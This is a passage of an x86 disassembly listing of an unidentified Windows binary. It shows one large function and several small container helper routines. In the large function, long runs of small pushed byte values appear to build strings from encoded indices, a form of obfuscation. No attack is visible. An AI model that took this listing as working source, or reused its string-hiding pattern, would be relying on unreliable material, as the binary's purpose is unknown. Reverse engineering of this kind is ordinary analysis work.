		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 34h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 35h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 36h
		call	sub_4019B5
		add	esp, 64h
		mov	byte ptr [esp+370h], 37h
		mov	ecx, eax
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 38h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D0h], 39h
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Ah
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Bh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D638F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A5F
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Ch
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Dh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Eh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3CCh], 3Fh
		push	13h
		lea	eax, [esp+8Ch]
		push	eax
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 40h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 41h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+158h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		mov	byte ptr [esp+3C4h], 42h
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 43h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 44h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+188h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 45h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 46h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 47h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3D4h], 48h
		push	13h
		lea	eax, [esp+94h]
		push	eax
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 49h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Ah
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+170h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 4Bh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ch
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Dh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Eh
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Fh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 50h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D638F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A5F
		push	offset byte_446F70
		push	offset word_4E6E9A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_401424
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401424
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 52h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		push	eax
		lea	eax, [esp+234h]
		push	offset dword_4437F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 14h
		push	eax
		push	offset dword_4437F4
		lea	ecx, [esp+268h]
		push	ecx
		call	sub_40102D
		sub	esp, 0Ch
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+52Bh]
		push	eax
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1B8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+230h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+290h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E6E9A
		call	sub_4014C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+140h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+110h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017E4
		push	eax
		push	offset byte_44742D
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017E4
		push	eax
		push	offset dword_4473E4
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		push	offset dword_4472C0
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017E4
		push	eax
		push	offset word_447352
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017E4
		push	eax
		push	offset byte_447309
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017E4
		push	eax
		push	offset byte_44739B
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017E4
		push	eax
		push	offset byte_4474BF
		mov	ecx, offset word_448D16
		call	sub_401596
		lea	ecx, [esp+1D0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+370h], 53h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+8Ch], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+388h], 54h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A8h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+3A0h], 55h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C4h], esp
		push	eax
		call	sub_401861
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+3B8h], 52h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 5C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409450	proc near		; CODE XREF: sub_40146Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401974
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409468
		mov	ecx, esi
		call	sub_40190B
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_409450+Fj
		mov	ecx, esi
		call	sub_401A37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409450	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409490	proc near		; CODE XREF: sub_401A5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_40168B
		pop	esi
		retn	4
sub_409490	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094C0	proc near		; CODE XREF: sub_401A37j
		mov	eax, [ecx+4]
		retn
sub_4094C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094E0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4094E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409500	proc near		; CODE XREF: sub_401974j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40950A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40950A:				; CODE XREF: sub_409500+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409500	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_40168Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401B9A
		mov	ecx, edi
		call	sub_401A37
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409530	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409580	proc near		; CODE XREF: sub_40190Bj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		call	near ptr 760A0430h
		nop
		lea	edx, [esp+48h+var_34]
		push	offset dword_43F080
		push	edx
		call	sub_436832
sub_409580	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4096CB
		mov	ecx, esi
		call	sub_401974
		cmp	edi, eax
		jnb	short loc_409633
		mov	ecx, esi
		call	sub_401974
		mov	ebp, eax
		jmp	short loc_409635
; ---------------------------------------------------------------------------


loc_409633:				; CODE XREF: sub_409600+26j
		mov	ebp, edi


loc_409635:				; CODE XREF: sub_409600+31j
		mov	ecx, esi
		call	sub_401974
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CAD
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016D6
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401974
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4096CB:				; CODE XREF: sub_409600+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409729
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409729:				; CODE XREF: sub_409600+D8j
		test	edi, edi
		jbe	short loc_409763
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016D6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CCB
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409763:				; CODE XREF: sub_409600+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

